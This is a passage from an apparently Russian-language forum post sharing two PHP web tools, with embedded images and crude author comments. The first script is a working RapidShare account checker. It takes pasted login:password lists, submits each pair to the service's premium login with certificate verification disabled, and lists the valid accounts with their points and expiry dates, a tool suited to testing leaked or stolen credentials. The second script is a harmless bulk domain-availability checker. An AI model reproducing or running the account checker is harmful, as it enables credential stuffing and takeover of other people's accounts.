M0MWL+eBhNT2237HcnDf/GJ6PAiFCtHMuzpZM7nTXqVtyKiocb+50QMnwHrf26FxlQnUAAL bdAOd22h9FACkcOT63ELW11GNfzutitKQqk4Kx1wpP8PBga2G1 3AE/bbfnTElTpBQvtXgr8irmqGIt45ZoFDegyJjCBCibVKXg4731Ji Bzdpna96bVMf1+oAAMSyJppYYYwxVkLa7QkGbLgioDyMJL7ILg ElD2Nfhu4n90muIEAuE4MDTAAmu6jJ1tx6nTjIRKnCEWjoA2GM wp4IAuNgLLqwVB6TnzaA244BgcIgBcUUwuI6iO4eC1nSzuzj/mulcJFUHGJRYjd3ShIQ7sxC3I6xOJexlYR2Gj/6yTmEyGUkPPFMmoriWhslgNqOMH7tcyQ02tB/gTBgiuOCFe7wlmX+Eivs2UjbEk64tsCqYS5QfGFU6MeBQNgtaW 14GEWitJrSDif/CDufMgB1c/qpURORiABspOe/OhmyFIGogGTYpFAyhRLX8RLeJ9JUJpoBBVUnNGWHYgaKOn2xNm l7I3o0qHnJhMf8f1tdIfjjsgIGBAz9WIAnIxgKGnITmpeEBMl4 d0jwVQ6juUIbfYBEzclU4cVpnMIERgkDTtAQYJWb2oPWBgmViC AzfFRZyGyWUUQJKQA4dGPxKwlJz1ZvUJOkHqH3MAz41aCB02Sm wNyBJKgpM/MOClX/8AYaSBj14InOg1vbJweBgPBv83oMVR9EaMfefXI2GyxFxoNZAM eIMo1djSnKdtpIFZggM2hxRdhAhFUmpmNSOrEnnEZ2T+R4MIoO vVpBqWaTKPhpyR96T0UKVyHVvmSLWYmqWjMwE2fiMimVu6QtWB BnzyIVdsk6Vd1yA4/lyTRtS4xetJMmTVtSsMEOBYQK0gBRe8YwprRk3ljW+mfzjnWI0 SOghak3dQMuQEJ3KICfioTmDITFWFpUhX3CkpF/FnaQzDVejmFoTVnhwsHRKaDB/xjbXU2n+YC0B14RaMa/6raCkINm5xopF5OMSQeClUyX9oZzcTkmcuyMHoDhf9qAmqK1qk 1IwIGCJYqgwbTlMZyfIEBUHTRyFF2Uvema8yeLWCbFReJ90OdG VxFfyrW3hqhaQblJWolfMgEuNYZ0kDhKkPrKSBKNFCoELCDD4F a4N4tpGxsmS9twQIVQKYw+uyqVvUk1weZxbxLnJtN21vZGFIQu 7WA78MqQ8Y70mfBmfwOEU2wXzQ6oLptPGsNE7DiW4CCpao8Zs/EVDNeoekXOD4vj22a1vReUyy++holHYSpAh9QAbwdsQRK/EnJpZaaVe5HVhNs0eJI0qXHDDMLy0rNUeay0BsA8i2A+UFyZgl cZ6rZPJ3U5ECmFpEmppqU83yLDAigZhYz3Af/7SSqegqahYMsMZkPXb9Em6MEs9VZhi66InO+lMkjRkIEEHnT9b bzvyIlR4b34rt0DBFjo9bdUU6N6pTxetU0hOEin+EP8Ypu1kWC q6AonWsk6PXQB+111CZoPRHXIsPMPOCgeodPxQ4nzt0W6DTn3e u6UVCq8MTM4LSD32641bv40lClOZmBB/havX29nqIz4RQbESiLnUvLRQXF7CWmmsIH97G9EV3xMWhOKt+l Y8g3klvODZzgTnv2hFXL3lqEoHE/5Ba2Zq4alv4Q3t0+gbwpDOA6T23hbgLOzvIln6HXh+jBA+HJCZ 7xyt7v6U4NAL5NxZnrUOPqVOGL1bNu//Va2aHjS6QpDDe+co3TbdqGQMFX6cT2tbu97XCHi7lzDtC5Vbap vOzx0+b+hwpIiQ7HA7zgA0/4wRu+8IhvMN3JWmEz+1fjUuO0GdBRmcpb/vKYz7zmN6+Npf+zAM5GcY9Fb0ETDQK2cEig6lfP+ta7/vWwhz3OF98ACspvmmWuM9DHsIXe+/73wA++8IdP/HQtfglPnnJlTfxUp0r++I2aM8umh1r6BcD61ieoKKcOfQllgAU N0IBAgUu/ATQA/FlA//nDD/bu8+bb1Ny9+x+SgRCEwAH3zz/+939//F/2A/wnKy/TRKnFBU7Afwiof/3nOg6QgLohgAmIgPvHAv9VYjANcDIYeIEaeDINoAVCEAEa2IEn Ex0ZKIJrVYIjuAQlGIIZyIEXSIIciIIbuIFGEAHcQwA4mIM6uI MEAAIGgG8rwINz8DEE2DIJIAQlEAc8uIQ5aAAPKIQiIARBqIRM yIMpsEIaQH1691EJkDTfZn3TMzBzBobvpASxo4UWxgSihIZPBI b0IwF6IwHaF0plZ2HRIVh3wBylUCipwAEl0CwpQDP0UCwRQD/s5VokkAIcoIc6wYc70gFD8CjAwQHi4ACLeBb0gBGZuCMTQAQXl 1PMJz2X0DSVVQTo1VGuZoZSdoRXY3B+VW/XI3VCgADB5VR34zoocInJgUy+YwL/BrAEFMKLAnACp1U3+TCFjbaHf4IHLpACbXICwYIvl4AlxZGJrG EoRENoPEZn1fOBhtZaRdAAOxZsSYBedAg1RWNmrYaGTiMOtad8 3LheCfAAK2YAQTIYHXB+LMAC8TUkpZIE5KJVbUABXNBELSMELO AK+ZEb+5hD8aEAE8AFGVBrEPIqDWUcSLOPLJA140QB58FRf4V2 TPBU1vNG/WVBkicB5BeKSiBKfjULEnRwNiQEKOA0wNUCz0cEEXCRuOWRRNA BdsQBiIIEFDAoOwECqNIAxHUCJbCIkEAAinMCmmMRHPCPEvEOJ vCPK9A7wwhQn9YzAsAM6DU7U/QF8BdK/5izc1PzjEeglvUzNXN3SxsnNdkjN/ODP5fwidQjkkvwAbtSLETwletwRh7wBhQAlIdFADQRO64VAR5Q IDgIJ49CHy6AKJqlHS5QiVxjAf8oBA0AeHbAAZ2oc/fjkszwe8SYC3t1kEQgjqt1ZkigRg2gY4U0d9NFN6RBi/CYipB1YuaViy/SmcRIIhTAlkUAW3bwJipQJ/QAicQ4N8wQhJ0BAkUwAeMFAuLQLoBCNBSyie6jdvDxj59IfhZm YXNmYQMAkzCUVqw4BFlYb1QUPXt3AtLHY0CmktMki0NQVjOUNG UVYeZVVRNFAPnIAh+glJFxCi4gnJ44DYSoWfPhAv+/KATR45mQAQkTKgQfoAJw0Agu4AEFCQJ5mDsCcAnBdCakoSJlQR N2d2cp9letdQlyWUgSkDAZEFApdzmmNUgE5ZnNRz9IYH1PhTAZ gACD5JKVU4m9ZjkacKM2ajCmdZHIsYMwFppDqZNFOQfnIQKLWC CASaFC0J0akT3I6QgKYJVENg9/eAIr0F1d+YFfORzYSWI2JVzjOI8KpVcRRodCOlx8KQQCRY4RkD I7Zlp3Vzm4VGfWc2EnUAAzNDW4RD/Up0gn8gEcJByUwhNz4AIEACeRCBRf0ZRDR5BF4JhkMQEt0AIis CoOhQo0EYhmwQGMYjRXZQfCCUxgwiNCED//JDl6L7QBeelRdYh35lZWujGoB7V9uXBw1hNtUEYT6CVKrDU9Qo pdligZO7Juo+AKzuMAD3OmRMACHYpbIDAwEXBY8zAzMxNLojkE cVoV4qBDGKI3IeACXRaFJ6BGtshjs3MJdWY5LFNvBiVihfg0BQ CTWjhBIiYBMERZJ8ZGDnAJZZViAcsy2ARfoEKg/Lg5IUIBsnAEn9kLKiAAJCsp9BIHb8QC+UIx9dGMQ8ACIDAvH3o Jy1mrJpCiXWoRNCFvkGqEvPY0X+Ff+eN7nmRiM1kEPCsBEuAAS utrKCZidFajxUhdGkAapLheonSawGdaIhosJsAAgHqJnFOiR0A C/w2lE7xwAK6BGc7pH0aEg7XSCDjIEDghQhzwL9LppTD5lR2bjdQ TTQEAuDWVd1TjtzwGrDoJki3Dl2oEsJLDXm30RqeoaUpKWXWpl htwpV2QAbr4CB6goQKyCHNqBA/QMRixJHKwoEUgACN0s2Bgj96Ba1JJOKrjmSr1DUSQAQ24u7w7Y ZZDNHOWafpJodeTigAljzZ5VoOLP0j7VB1Ajz6acQkQlRlgiHc jf0PgrffxHFKYpUkSlZ75EyCwACVbsgsQaQTAIzBpRzKhP73XA Pmwk/SiAvGKGJQYrouYHBmKfLuZAP6KaO3po/YDtEUASkurtEy7tC76hs07YbPwjf8BXIRwGQZVlUziYIP3aAeq SwTSqUCeOgQdIEc/4ZO76gu2KgQF0IApzLRMmzJKAbMjagEckKE16wggYDXwdY9T4V hFC0M0UbAytAECdrUTVEr1mWdn2ayWRQQtOm7MgmLARQS3ST/cN5wCRABEUAFYtCVfKgQLwEGKRnnhNbon0AIbogDxO30A1jLMA J6aqDohuw6ioQH2p3Z7YgEq8IEduMd8fIHJhzfkeJtPAydyA0U x6p7Ud0YFu5u6UXuUpTdlRzTFaFA12sd7vGIZMF4m0MW5GHCho Rv/wZlK8AH4gg1Debbb4AepdpMTdGEPECTVQBMNZw0KAAAccMvzYQ f/jDIAK9PLG+DLKyN6jCp97kQag5ppxqub4BhBKsmFXzFIyGzEa0 Q90Cplv3zNwfwA2GTHcWsCAUyrlRcHiCJYdvCmSMBQiqUNd/uBjVAr5cEF/7WeBLyTTskNFCAOE8B5lpdAHPAVTZN906N9c9gyD4B2iBq41Ec aegXQQuyNCC1VKIPQ41YA2TtlgUs/pcSjAe1eJ6BXUiPRAr3RLYNORaCIx8ABJw0npIzSt3wMEFAqn4 nSBCBVOwkBJ30MAPAANCnDN/3SQlCHLnwCLMDTLQ0BX5q+N93SSs3St5wCyTKjFRvVhMoshVix ZemJUY2TKMwy+LZUVv3Ddscy2lyq/1LtnIEq1VEdwEOwAivQB23N1jX41nJ9CWx9o17QBG7t1jJa13w drAZlUFJDZVIo130Ak4TN14dtCdFRfFtbqo2tk8EHUL33BZEt2 ahZg5VNjIw92aWBo8HFqPM3VkdqTQkwABpw2qgdflmQ2qkd2uf i2dYFiniXWuDr2lbCozhFSAlbUCkWsbbdKLDtoshcZ1Az1r/dKJ9Yb3e5igHwABR93HHybVDHjv9FXZALh9BtJcg6Ybntc2RH0 uYgN/nafmgAgg0A3hAkl1gLXKUprPVGP+S9NPNYNeENgmi0a1v4llK2 p3z3BRewAP+9AOJwAf99hEtMjPTYnoi7AToXAf8FYG4OsAAL8A Cz0AAATuCkEeEEfgGeKeEC/tPZqxQJsDCDCqgATuHPM7VBXF1Y22P9rYIMgIELoBQXIIJpWOM nsAABpdNefKMLMATGjdUGgwGzIAEXYN4cDlAZ4BUSeeQHA70YM ARAquMncOQ6579P/j4SJGXQNmYETAYR8ONCMNZEDqg8fgFl3gBJnuNbIOYOcADYNGd e/MDtSeVEgOO7igESzgDMIOYngEs5rub+yqh+/jrBPd2kF4rNir2m6OcXkA9+PjdefAC7uuYLsBhR3rTYJQEMgAE MMAsOMAISXuZFgOdLNQQ4zgAePgL58AB6fgkSIOoSvubv0wA/u3H/+02H2lzFHxjlY54PpC4BOh0B/80MSyWClx7mDqDTy0y6S17kDC4Evk4EH34I074A6DTtaXjpVQ7 P7ZmT5zK5fsVX1nU32A0GETDtj34CidaALhPmi3EBSmHhAD4CW zACrDjWekPszEDqfz7jDcjj1H7BDyB+GlDQJwC2QnCQZU7sTNO FDnDwgRQ5y012Fi9c0mNe7ekA4vAAD7DucNiBJU7ti7Hx4Sfw+ UoTEezxH38EaLfkH39Lt7SfSjFtFbrsHp9OwT07r8is1deFhXC jEvkVn+7yvJ7dYwB/NglFdYpoLcPovLcBF/DxoI30tlC967RyfsXKFgT1YhBQDWj1/88QASjwjbdn8dQt2GLfH7YebtW9RooO32vP9lQzdlBkUBjPTvE 99/vANM5Leh9VvFXL9+khwc5q8WevYoSPHn6/r+R3qBO094tfDigzwFDD2z2ncS8++WCRASd5U+19cNP6p5zPGE rJr7Z3jttISqX/fvXpX3YvbnQD7q1vE+8pz7k9XPp9sLW/G8H7eJe2fGXY+40xmxRGWfk5Sh5I/IzR+CXmdGaFl8zfGDEJuYA9YaEo+dNvC1vg3Yb8mlTz3Nt/F4Oa939Nb+x59OOvDwH1+Cs33E6z+esPEYXs9N9YWVU//0uBNaJ0k9UkekCwSWwaJ+MRmVQumU3nExqVTv+pVesVq2w4NkJ vyzscdoZeRySbVq/Zbfcbq+FuAuKAsPO1C4tw/x8wUNCtIeRBqGUsjG4oscthMFJykhIwIkOCbjHhLgGsLOGhoK+ y1PQUNSkiAvQTse5VDDKVttb2bzUTFlSoE29DgvR2mLhYirWLr NfRdyjAIcNYepr6JEKCc8NVrGVXKLo6XDw1wgG7y1MMfUNZAm0 cPl5S7g79M089oeFdvt+f0AEvdbDuOBD2D2HCKhkaZGKHqBWdf QopVoRyaY6mfF2C8bP4EeSqDKES4Ov0qYBHkCstXmvEq5MGljN BNizJrUwwmjsrakiQzdssnkMRBvS0LoFMokv7NdAwcK6LkAFMq cK7JKfMBg3gqnatxjDgIWheyVIDy+lMWbXGLmVwMHVt3GGr5Na 1KyUIADs=) no-repeat center;"></textarea><br>
<input type="submit" value="чекнуть" style="border:1px #89B4CC solid;">
</form>
<?
/*
еси когота чегота не устраивает .. то вам надо понять основное, а именно МНЕ ПОХУЙ!
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
в четыре года, я играл на треугольнике в детском оркестре .. а ты?
- - - - - - - - - - - - - - - - - - - - - - - - - - -
чекер выводит такое вот - логин:пасс:колво поинтов:дата валида
(c) 159932
*/
function dt($a){
$mons = array('хуёвый месяц..', 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec');
preg_match('#(.+), (\d+)\. (.+) (\d+)#',$a,$m);
$day = $m[2]; $mon = $m[3]; $yer = $m[4];
if (date('Ymd', mktime(0, 0, 0, array_search($mon, $mons), $day, $yer)) > date('Ymd')) return date('d.m.Y', mktime(0, 0, 0, array_search($mon, $mons), $day, $yer));
else return 0;
}
if (isset($_POST['accs']{0})){
echo '<div style="border:1px solid #E5E8D5; width:420px; padding:18px; margin:40px; background-color:#FFFBF2; text-align:left; font-size:11">';
$accs = array();
foreach (explode("\n",trim($_POST['accs'])) as $cc){
$cc = trim($cc);
if(strpos($cc,':') == false) continue;
$accs[] = $cc;
}
$accs = array_unique($accs) or die('ахуеть .. а акки за тебя вписывать? невежда..</div></center></body></html>');
foreach ($accs as $acc){
$acc = explode(':',$acc);
$hof = curl_init('https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi');
curl_setopt($hof, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($hof, CURLOPT_POST, 1);
curl_setopt($hof, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($hof, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($hof, CURLOPT_POSTFIELDS, 'uselandingpage=1&login='.$acc[0].'&password='.$acc[1]);
$a = curl_exec($hof);
if (strpos($a, $acc[0]) !== false){
preg_match('#<td>RapidPoints:</td><td align=right style="padding-right:20px;"><b>(\d+)</b></td>#',$a,$m1);
preg_match('#<td>Expiration date:</td><td style="padding-right:20px;"><b>(.+)</b></td>#',$a,$m2);
$m2[1] = dt($m2[1]);
echo '<font class="gr">'.$acc[0].':'.$acc[1].'</font>:';
if ($m2[1] && $m1[1] > 9999) echo '<font class="gr">'.$m1[1].':'.$m2[1].'</font><br>';
elseif ($m2[1] && $m1[1] < 9999) echo '<font class="rd">'.$m1[1].'</font>:<font class="gr">'.$m2[1].'</font><br>';
elseif ($m1[1] > 9999) echo '<font class="gr">'.$m1[1].'</font>:<font class="rd">'.$m2[1].'</font><br>';
else echo '<font class="rd">'.$m1[1].':'.$m2[1].'</font><br>';
}else{echo '<font class="rd">'.$acc[0].':'.$acc[1].'</font><br>';}
}
echo '</div>';
}
?></center></body></html>
http://rapidshare.com/files/207336248/4_rapid.php.html
а то пробелы форум лишние ставит=\
<html>
<head>
<title>Дома чикаем .. на принадлежность открытых замков || скопипастил сам у себя, и посему не считаю это плагиатом ..</title>
<link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAA f8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFke XHJZTwAAAJcSURBVDjLpZPNS9RRFIaf+5tx/JqxUZGKQtEkyJBKw1ZhG0mSFkW1aVW7Wgpusv4CoX20KIgIKow gZSgwrIVghFQbM2swQRM/xmx05jf33nNaBJNWtKizPJzzcDjv+xpV5X8q+mvDPTdxVXpV6B ahQxVUGBchpcL1xEnNbp43my9wz02nCrdMfV+jSXagsRpQj+aW 8JkJwg8DaREuVJ/S0d8AbsSc0mTnYLDjPFqxDb8xiYTLqMuDKSMoa8bYgPDzA8KF0 dN15/RREWBHTI0qM5HWe3EJ1vD5NNhviAtRn/8BEcWU1hMpbeXr2MWsCA07z+tKAKBCb9DQH9cYSJgGt87I4yWQ AvgCL56B2Cxu7R0+/EjFvv64eHoBAgARekz1ESSfRl0OFcuxE+WoWNRbjnZmUQlRm8W tviaa3It4eooqiNBCaRWSW2X6bTWYBJhf5FFF3Qq7a54CId7TW ASokFOXj+EdNQ3tVNTuwQSRrfviWV94g64NgSoiRH5e4Eljcwc hRmU8R2J7M0G0ZAvA2xC/PIwJKhAfxYZMb/7BkF2awMTqCcJR7MYcsNmhil37CMv3iVYdILc0gy0wVJQxM2jq RPgUP3InLvY9bn2GSLKHkmQbqCdcfElh9iaR8l2YquPMPLmUdZ amQ1d0sWikxfvmTLSu60FZ/WmIfMNlXuFzc6jLY6IJIomDeJrITA6TmUqdbevXh79Zef6u6RL PjcqWvsZY7X6CkgDE4ULP+vwUX8YG0s5yuf2qpv6YBYDZ2yYun j4Rur2nwxXAWcadJeUsA4ev/SVM/1LfAVOtXW4xpbWpAAAAAElFTkSuQmCC" type="image/x-icon">
<style>
<!--
image {
border:0;
}
body {
font-family: verdana, arial, helvetica, sans-serif;
margin:0;
padding:0;
text-align:center;
font-size:0.7em;
background:#FFFFFF;
}
-->
</style>
</head>
<body>
<center><br><br>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAXAAAAByCAIAAAD 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">
<form method="post" action="">
<textarea name="doms" style="width:400px; height:200px; border:1px black solid; padding:3px; margin:15px"></textarea><br><br>
проверить на зоны<br>
<input name="dom" style="width:180px; height:20px; border:1px black solid; padding:3px; margin-top:5px; margin-bottom:15px; text-align:center"><br>
<input type="submit" value="чекнуть" style="border:1px #89B4CC solid;">
</form>
<?
/*
тра тата .. типо коменты ..
опера рулит, валенки валяют ..
чек происходит не по всем доменам, но зато очень быстро, ибо на 1 домет тратиться всего 100байт входящего трафа ..
моё любимое слово из трёх букв - "ЕЩЁ"
(c) 159932
*/
$pag = 'http://ruserver.net/?p=check_domain&domain=';
if (!empty($_POST['doms'])){
echo '
<div style="border:1px solid #E5E8D5; width:420px; padding:18px; margin:40px; background-color:#FFFBF2; text-align:left">';
$doms = explode("\n",$_POST['doms']);
$mh = curl_multi_init();
foreach ($doms as $url) {
if (strlen(trim($url)) > 3) $i = $pag.trim($url);
else continue;
$conn[$i] = curl_init($i);
curl_setopt($conn[$i], CURLOPT_RETURNTRANSFER, 1);
curl_multi_add_handle ($mh,$conn[$i]);
}
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
while ($active and $mrc == CURLM_OK) {
if (curl_multi_select($mh) != -1) {
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
}
if ($mrc != CURLM_OK) print "*** сломался, по этой причине - $mrc\r\n";
foreach ($conn as $i => $url) {
$res[$i]=curl_multi_getcontent($conn[$i]);
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
}
curl_multi_close($mh);
asort($res);
foreach($res as $url=>$data){
if (strpos($data,'whois_answer(-1);') !== false) echo '<font color="orange">'.substr($url,43).'</font><br>';
elseif (strpos($data,'whois_answer(0);') !== false) echo '<font color="red">'.substr($url,43).'</font><br>';
elseif (strpos($data,'whois_answer(1);') !== false) echo '<font color="green">'.substr($url,43).'</font><br>';
else echo '<font color="black">'.substr($url,43).'</font><br>';
}
unset($conn,$mh,$mrc,$res,$active,$i);
echo '</div>';
}
if (!empty($_POST['dom'])){
$zones = array('ru', 'su', 'com', 'net', 'org', 'biz', 'info', 'name', 'us', 'tv', 'cc', 'ws', 'cn', 'in', 'mobi', 'asia');
echo '
<div style="border:1px solid #E5E8D5; width:420px; padding:18px; margin:40px; background-color:#FFFBF2; text-align:left">';
$urls = explode(',',$_POST['dom']);
$mh = curl_multi_init();
while(count($urls)){
$url = trim($urls[0]);
array_shift($urls);
foreach ($zones as $zone) {
if (strlen($url) > 0) $i = $pag.$url.'.'.$zone;
else continue;
$conn[$i] = curl_init($i);
curl_setopt($conn[$i], CURLOPT_RETURNTRANSFER, 1);
curl_multi_add_handle ($mh,$conn[$i]);
}
}
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
while ($active and $mrc == CURLM_OK) {
if (curl_multi_select($mh) != -1) {
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
}
if ($mrc != CURLM_OK) print "*** сломался, по этой причине - $mrc\r\n";
foreach ($conn as $i => $url) {
$res[$i]=curl_multi_getcontent($conn[$i]);
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
}
curl_multi_close($mh);
asort($res);
foreach($res as $url=>$data){
if (strpos($data,'whois_answer(-1);') !== false) echo '<font color="orange">'.substr($url,43).'</font><br>';
elseif (strpos($data,'whois_answer(0);') !== false) echo '<font color="red">'.substr($url,43).'</font><br>';
